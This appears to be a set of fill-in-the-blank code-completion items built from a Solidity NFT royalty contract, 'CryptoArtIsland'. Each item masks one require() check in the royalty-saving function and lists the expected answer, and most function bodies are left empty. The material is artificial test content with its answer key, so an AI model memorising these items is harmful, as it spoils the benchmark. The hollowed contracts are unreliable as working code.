if (block.timestamp<Rewards[msg.sender].timeEnd) {
bool transfer=token.transfer(0x0000000000000000000000000000000000000000,Rewards[msg.sender].reward);
require(transfer==true,"transfer failed");
Rewards[msg.sender].reward=0;
}
else{
uint256 bal=(token.balanceOf(msg.sender));
if (bal<Rewards[msg.sender].balance) {
bool transfer=token.transfer(0x0000000000000000000000000000000000000000,Rewards[msg.sender].reward);
require(transfer==true,"transfer failed");
Rewards[msg.sender].reward=0;
}else {
bool transfer=token.transfer(msg.sender,Rewards[msg.sender].reward);
require(transfer==true,"transfer failed");
Rewards[msg.sender].reward=0;
}
}
}
function balance(address _add) public view returns(uint){
}
}
| token.balanceOf(address(this))>=Rewards[msg.sender].reward,"balance is low" | 173,437 | token.balanceOf(address(this))>=Rewards[msg.sender].reward |
"Recipient should be present" | // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
}
}
pragma solidity ^0.8.2;
library LibPart {
bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)");
struct Part {
address payable account;
uint96 value;
}
function hash(Part memory part) internal pure returns (bytes32) {
}
}
interface RoyaltiesV2 {
event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties);
function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory);
}
interface RoyaltiesInfo {
function getRoyaltyAmount(uint256 _tokenId) external view returns (uint256 royaltyAmount);
function getRoyaltyRecipientAddress(uint256 _tokenId) external view returns (address receiver) ;
function getCollectionRoyaltyFee() external view returns (uint256 royaltyAmount);
function getRoyalityRecipientAddressInfo(uint256 _tokenId) external view returns (address[] memory receipient) ;
function getRoyalityPercentageInfo(uint256 _tokenId) external view returns (uint96[] memory royaltyPercentage );
}
interface ListingFeeInfo {
function getCollectionListingFee() external view returns (uint256 listingFee);
function getFeeCollector() external view returns (address feeCollector);
}
abstract contract AbstractRoyalties {
mapping (uint256 => LibPart.Part[]) internal royalties;
function _saveRoyalties(uint256 id, LibPart.Part[] memory _royalties) internal {
uint256 totalValue;
uint length = royalties[id].length;
if(length == 0){
for (uint i = 0; i < _royalties.length; i++) {
require(<FILL_ME>)
require(_royalties[i].value != 0, "Royalty value should be positive");
totalValue += _royalties[i].value;
royalties[id].push(_royalties[i]);
_onRoyaltiesSet(id, _royalties);
}
}else {
require(_royalties[0].account != address(0x0), "Recipient should be present");
require(_royalties[0].value != 0, "Royalty value should be positive");
royalties[id][0].account = _royalties[0].account;
royalties[id][0].value = _royalties[0].value;
}
require(totalValue < 10000, "Royalty total value should be < 10000");
_onRoyaltiesSet(id, _royalties);
}
function _updateAccount(uint256 _id, address _from, address _to) internal {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) virtual internal;
}
contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2 {
function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory) {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) override internal {
}
}
library LibRoyaltiesV2 {
/*
* bytes4(keccak256('getRaribleV2Royalties(uint256)')) == 0xcad96cca
*/
bytes4 constant _INTERFACE_ID_ROYALTIES = 0xcad96cca;
}
contract CryptoArtIsland is ERC721,Ownable,ERC721URIStorage,ERC721Enumerable,ERC721Burnable,Pausable, RoyaltiesV2Impl,RoyaltiesInfo, ListingFeeInfo {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
address public contractAddress ;
uint256 public listingFee;
address feeCollector;
uint96 public royaltyFee;
struct RoyaltyReceipientInfo {
uint256 tokenId;
address[] receipient;
uint96[] percentageBasisPoints;
}
mapping(uint256 => RoyaltyReceipientInfo) private royaltyReceipientInfo;
mapping(address => bool) public minter;
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
modifier onlyMinter() {
}
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor() ERC721("CryptoArtIsland", "CAI") {
}
function addMinterAddress (address _minter , bool status) public onlyOwner virtual{
}
function isMinter(address _minter) public view returns (bool) {
}
function setRoyaltyReceipientInfo(uint256 tokenId, address[] memory Recipients, uint96[] memory royaltyPercentage) public onlyMinter{
}
function getRoyalityRecipientAddressInfo(uint256 _tokenId) public override view returns(address[] memory receipient ){
}
function getRoyalityPercentageInfo(uint256 _tokenId) public override view returns(uint96[] memory royaltyPercentage ){
}
function safeMint(address to, string memory uri,address[] memory _addresses, uint96[] memory royaltyPercentage,uint96 royalty) public whenNotPaused onlyMinter {
}
function setMarketPlaceAddress(address _newContractAddress)public virtual onlyOwner whenNotPaused {
}
function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public whenNotPaused onlyMinter {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function getRoyaltyAmount(uint256 _tokenId) external override view returns (uint256 royaltyAmount) {
}
function getCollectionRoyaltyFee() external override view returns (uint256 royaltyAmount) {
}
function setCollectionRoyaltyFee(uint96 _royaltyFee) external whenNotPaused onlyOwner {
}
function setCollectionListingFee(uint256 _listingFee,address _feeCollector) external whenNotPaused onlyOwner {
}
function getFeeCollector() external override view returns (address fee){
}
function getCollectionListingFee() external override view returns (uint256 fee){
}
function getRoyaltyRecipientAddress(uint256 _tokenId) external override view returns (address receiver) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function isApprovedForAll(address _owner, address _operator) public view virtual override returns (bool) {
}
}
| _royalties[i].account!=address(0x0),"Recipient should be present" | 173,475 | _royalties[i].account!=address(0x0) |
"Royalty value should be positive" | // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
}
}
pragma solidity ^0.8.2;
library LibPart {
bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)");
struct Part {
address payable account;
uint96 value;
}
function hash(Part memory part) internal pure returns (bytes32) {
}
}
interface RoyaltiesV2 {
event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties);
function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory);
}
interface RoyaltiesInfo {
function getRoyaltyAmount(uint256 _tokenId) external view returns (uint256 royaltyAmount);
function getRoyaltyRecipientAddress(uint256 _tokenId) external view returns (address receiver) ;
function getCollectionRoyaltyFee() external view returns (uint256 royaltyAmount);
function getRoyalityRecipientAddressInfo(uint256 _tokenId) external view returns (address[] memory receipient) ;
function getRoyalityPercentageInfo(uint256 _tokenId) external view returns (uint96[] memory royaltyPercentage );
}
interface ListingFeeInfo {
function getCollectionListingFee() external view returns (uint256 listingFee);
function getFeeCollector() external view returns (address feeCollector);
}
abstract contract AbstractRoyalties {
mapping (uint256 => LibPart.Part[]) internal royalties;
function _saveRoyalties(uint256 id, LibPart.Part[] memory _royalties) internal {
uint256 totalValue;
uint length = royalties[id].length;
if(length == 0){
for (uint i = 0; i < _royalties.length; i++) {
require(_royalties[i].account != address(0x0), "Recipient should be present");
require(<FILL_ME>)
totalValue += _royalties[i].value;
royalties[id].push(_royalties[i]);
_onRoyaltiesSet(id, _royalties);
}
}else {
require(_royalties[0].account != address(0x0), "Recipient should be present");
require(_royalties[0].value != 0, "Royalty value should be positive");
royalties[id][0].account = _royalties[0].account;
royalties[id][0].value = _royalties[0].value;
}
require(totalValue < 10000, "Royalty total value should be < 10000");
_onRoyaltiesSet(id, _royalties);
}
function _updateAccount(uint256 _id, address _from, address _to) internal {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) virtual internal;
}
contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2 {
function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory) {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) override internal {
}
}
library LibRoyaltiesV2 {
/*
* bytes4(keccak256('getRaribleV2Royalties(uint256)')) == 0xcad96cca
*/
bytes4 constant _INTERFACE_ID_ROYALTIES = 0xcad96cca;
}
contract CryptoArtIsland is ERC721,Ownable,ERC721URIStorage,ERC721Enumerable,ERC721Burnable,Pausable, RoyaltiesV2Impl,RoyaltiesInfo, ListingFeeInfo {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
address public contractAddress ;
uint256 public listingFee;
address feeCollector;
uint96 public royaltyFee;
struct RoyaltyReceipientInfo {
uint256 tokenId;
address[] receipient;
uint96[] percentageBasisPoints;
}
mapping(uint256 => RoyaltyReceipientInfo) private royaltyReceipientInfo;
mapping(address => bool) public minter;
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
modifier onlyMinter() {
}
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor() ERC721("CryptoArtIsland", "CAI") {
}
function addMinterAddress (address _minter , bool status) public onlyOwner virtual{
}
function isMinter(address _minter) public view returns (bool) {
}
function setRoyaltyReceipientInfo(uint256 tokenId, address[] memory Recipients, uint96[] memory royaltyPercentage) public onlyMinter{
}
function getRoyalityRecipientAddressInfo(uint256 _tokenId) public override view returns(address[] memory receipient ){
}
function getRoyalityPercentageInfo(uint256 _tokenId) public override view returns(uint96[] memory royaltyPercentage ){
}
function safeMint(address to, string memory uri,address[] memory _addresses, uint96[] memory royaltyPercentage,uint96 royalty) public whenNotPaused onlyMinter {
}
function setMarketPlaceAddress(address _newContractAddress)public virtual onlyOwner whenNotPaused {
}
function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public whenNotPaused onlyMinter {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function getRoyaltyAmount(uint256 _tokenId) external override view returns (uint256 royaltyAmount) {
}
function getCollectionRoyaltyFee() external override view returns (uint256 royaltyAmount) {
}
function setCollectionRoyaltyFee(uint96 _royaltyFee) external whenNotPaused onlyOwner {
}
function setCollectionListingFee(uint256 _listingFee,address _feeCollector) external whenNotPaused onlyOwner {
}
function getFeeCollector() external override view returns (address fee){
}
function getCollectionListingFee() external override view returns (uint256 fee){
}
function getRoyaltyRecipientAddress(uint256 _tokenId) external override view returns (address receiver) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function isApprovedForAll(address _owner, address _operator) public view virtual override returns (bool) {
}
}
| _royalties[i].value!=0,"Royalty value should be positive" | 173,475 | _royalties[i].value!=0 |
"Recipient should be present" | // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
}
}
pragma solidity ^0.8.2;
library LibPart {
bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)");
struct Part {
address payable account;
uint96 value;
}
function hash(Part memory part) internal pure returns (bytes32) {
}
}
interface RoyaltiesV2 {
event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties);
function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory);
}
interface RoyaltiesInfo {
function getRoyaltyAmount(uint256 _tokenId) external view returns (uint256 royaltyAmount);
function getRoyaltyRecipientAddress(uint256 _tokenId) external view returns (address receiver) ;
function getCollectionRoyaltyFee() external view returns (uint256 royaltyAmount);
function getRoyalityRecipientAddressInfo(uint256 _tokenId) external view returns (address[] memory receipient) ;
function getRoyalityPercentageInfo(uint256 _tokenId) external view returns (uint96[] memory royaltyPercentage );
}
interface ListingFeeInfo {
function getCollectionListingFee() external view returns (uint256 listingFee);
function getFeeCollector() external view returns (address feeCollector);
}
abstract contract AbstractRoyalties {
mapping (uint256 => LibPart.Part[]) internal royalties;
function _saveRoyalties(uint256 id, LibPart.Part[] memory _royalties) internal {
uint256 totalValue;
uint length = royalties[id].length;
if(length == 0){
for (uint i = 0; i < _royalties.length; i++) {
require(_royalties[i].account != address(0x0), "Recipient should be present");
require(_royalties[i].value != 0, "Royalty value should be positive");
totalValue += _royalties[i].value;
royalties[id].push(_royalties[i]);
_onRoyaltiesSet(id, _royalties);
}
}else {
require(<FILL_ME>)
require(_royalties[0].value != 0, "Royalty value should be positive");
royalties[id][0].account = _royalties[0].account;
royalties[id][0].value = _royalties[0].value;
}
require(totalValue < 10000, "Royalty total value should be < 10000");
_onRoyaltiesSet(id, _royalties);
}
function _updateAccount(uint256 _id, address _from, address _to) internal {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) virtual internal;
}
contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2 {
function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory) {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) override internal {
}
}
library LibRoyaltiesV2 {
/*
* bytes4(keccak256('getRaribleV2Royalties(uint256)')) == 0xcad96cca
*/
bytes4 constant _INTERFACE_ID_ROYALTIES = 0xcad96cca;
}
contract CryptoArtIsland is ERC721,Ownable,ERC721URIStorage,ERC721Enumerable,ERC721Burnable,Pausable, RoyaltiesV2Impl,RoyaltiesInfo, ListingFeeInfo {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
address public contractAddress ;
uint256 public listingFee;
address feeCollector;
uint96 public royaltyFee;
struct RoyaltyReceipientInfo {
uint256 tokenId;
address[] receipient;
uint96[] percentageBasisPoints;
}
mapping(uint256 => RoyaltyReceipientInfo) private royaltyReceipientInfo;
mapping(address => bool) public minter;
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
modifier onlyMinter() {
}
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor() ERC721("CryptoArtIsland", "CAI") {
}
function addMinterAddress (address _minter , bool status) public onlyOwner virtual{
}
function isMinter(address _minter) public view returns (bool) {
}
function setRoyaltyReceipientInfo(uint256 tokenId, address[] memory Recipients, uint96[] memory royaltyPercentage) public onlyMinter{
}
function getRoyalityRecipientAddressInfo(uint256 _tokenId) public override view returns(address[] memory receipient ){
}
function getRoyalityPercentageInfo(uint256 _tokenId) public override view returns(uint96[] memory royaltyPercentage ){
}
function safeMint(address to, string memory uri,address[] memory _addresses, uint96[] memory royaltyPercentage,uint96 royalty) public whenNotPaused onlyMinter {
}
function setMarketPlaceAddress(address _newContractAddress)public virtual onlyOwner whenNotPaused {
}
function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public whenNotPaused onlyMinter {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function getRoyaltyAmount(uint256 _tokenId) external override view returns (uint256 royaltyAmount) {
}
function getCollectionRoyaltyFee() external override view returns (uint256 royaltyAmount) {
}
function setCollectionRoyaltyFee(uint96 _royaltyFee) external whenNotPaused onlyOwner {
}
function setCollectionListingFee(uint256 _listingFee,address _feeCollector) external whenNotPaused onlyOwner {
}
function getFeeCollector() external override view returns (address fee){
}
function getCollectionListingFee() external override view returns (uint256 fee){
}
function getRoyaltyRecipientAddress(uint256 _tokenId) external override view returns (address receiver) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function isApprovedForAll(address _owner, address _operator) public view virtual override returns (bool) {
}
}
| _royalties[0].account!=address(0x0),"Recipient should be present" | 173,475 | _royalties[0].account!=address(0x0) |
"Royalty value should be positive" | // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
}
}
pragma solidity ^0.8.2;
library LibPart {
bytes32 public constant TYPE_HASH = keccak256("Part(address account,uint96 value)");
struct Part {
address payable account;
uint96 value;
}
function hash(Part memory part) internal pure returns (bytes32) {
}
}
interface RoyaltiesV2 {
event RoyaltiesSet(uint256 tokenId, LibPart.Part[] royalties);
function getRaribleV2Royalties(uint256 id) external view returns (LibPart.Part[] memory);
}
interface RoyaltiesInfo {
function getRoyaltyAmount(uint256 _tokenId) external view returns (uint256 royaltyAmount);
function getRoyaltyRecipientAddress(uint256 _tokenId) external view returns (address receiver) ;
function getCollectionRoyaltyFee() external view returns (uint256 royaltyAmount);
function getRoyalityRecipientAddressInfo(uint256 _tokenId) external view returns (address[] memory receipient) ;
function getRoyalityPercentageInfo(uint256 _tokenId) external view returns (uint96[] memory royaltyPercentage );
}
interface ListingFeeInfo {
function getCollectionListingFee() external view returns (uint256 listingFee);
function getFeeCollector() external view returns (address feeCollector);
}
abstract contract AbstractRoyalties {
mapping (uint256 => LibPart.Part[]) internal royalties;
function _saveRoyalties(uint256 id, LibPart.Part[] memory _royalties) internal {
uint256 totalValue;
uint length = royalties[id].length;
if(length == 0){
for (uint i = 0; i < _royalties.length; i++) {
require(_royalties[i].account != address(0x0), "Recipient should be present");
require(_royalties[i].value != 0, "Royalty value should be positive");
totalValue += _royalties[i].value;
royalties[id].push(_royalties[i]);
_onRoyaltiesSet(id, _royalties);
}
}else {
require(_royalties[0].account != address(0x0), "Recipient should be present");
require(<FILL_ME>)
royalties[id][0].account = _royalties[0].account;
royalties[id][0].value = _royalties[0].value;
}
require(totalValue < 10000, "Royalty total value should be < 10000");
_onRoyaltiesSet(id, _royalties);
}
function _updateAccount(uint256 _id, address _from, address _to) internal {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) virtual internal;
}
contract RoyaltiesV2Impl is AbstractRoyalties, RoyaltiesV2 {
function getRaribleV2Royalties(uint256 id) override external view returns (LibPart.Part[] memory) {
}
function _onRoyaltiesSet(uint256 id, LibPart.Part[] memory _royalties) override internal {
}
}
library LibRoyaltiesV2 {
/*
* bytes4(keccak256('getRaribleV2Royalties(uint256)')) == 0xcad96cca
*/
bytes4 constant _INTERFACE_ID_ROYALTIES = 0xcad96cca;
}
contract CryptoArtIsland is ERC721,Ownable,ERC721URIStorage,ERC721Enumerable,ERC721Burnable,Pausable, RoyaltiesV2Impl,RoyaltiesInfo, ListingFeeInfo {
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
address public contractAddress ;
uint256 public listingFee;
address feeCollector;
uint96 public royaltyFee;
struct RoyaltyReceipientInfo {
uint256 tokenId;
address[] receipient;
uint96[] percentageBasisPoints;
}
mapping(uint256 => RoyaltyReceipientInfo) private royaltyReceipientInfo;
mapping(address => bool) public minter;
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
modifier onlyMinter() {
}
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
constructor() ERC721("CryptoArtIsland", "CAI") {
}
function addMinterAddress (address _minter , bool status) public onlyOwner virtual{
}
function isMinter(address _minter) public view returns (bool) {
}
function setRoyaltyReceipientInfo(uint256 tokenId, address[] memory Recipients, uint96[] memory royaltyPercentage) public onlyMinter{
}
function getRoyalityRecipientAddressInfo(uint256 _tokenId) public override view returns(address[] memory receipient ){
}
function getRoyalityPercentageInfo(uint256 _tokenId) public override view returns(uint96[] memory royaltyPercentage ){
}
function safeMint(address to, string memory uri,address[] memory _addresses, uint96[] memory royaltyPercentage,uint96 royalty) public whenNotPaused onlyMinter {
}
function setMarketPlaceAddress(address _newContractAddress)public virtual onlyOwner whenNotPaused {
}
function setRoyalties(uint _tokenId, address payable _royaltiesReceipientAddress, uint96 _percentageBasisPoints) public whenNotPaused onlyMinter {
}
function royaltyInfo(uint256 _tokenId, uint256 _salePrice) external view returns (address receiver, uint256 royaltyAmount) {
}
function getRoyaltyAmount(uint256 _tokenId) external override view returns (uint256 royaltyAmount) {
}
function getCollectionRoyaltyFee() external override view returns (uint256 royaltyAmount) {
}
function setCollectionRoyaltyFee(uint96 _royaltyFee) external whenNotPaused onlyOwner {
}
function setCollectionListingFee(uint256 _listingFee,address _feeCollector) external whenNotPaused onlyOwner {
}
function getFeeCollector() external override view returns (address fee){
}
function getCollectionListingFee() external override view returns (uint256 fee){
}
function getRoyaltyRecipientAddress(uint256 _tokenId) external override view returns (address receiver) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId)
internal
whenNotPaused
override(ERC721, ERC721Enumerable)
{
}
function _burn(uint256 tokenId) internal override(ERC721, ERC721URIStorage) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function isApprovedForAll(address _owner, address _operator) public view virtual override returns (bool) {
}
}
| _royalties[0].value!=0,"Royalty value should be positive" | 173,475 | _royalties[0].value!=0 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.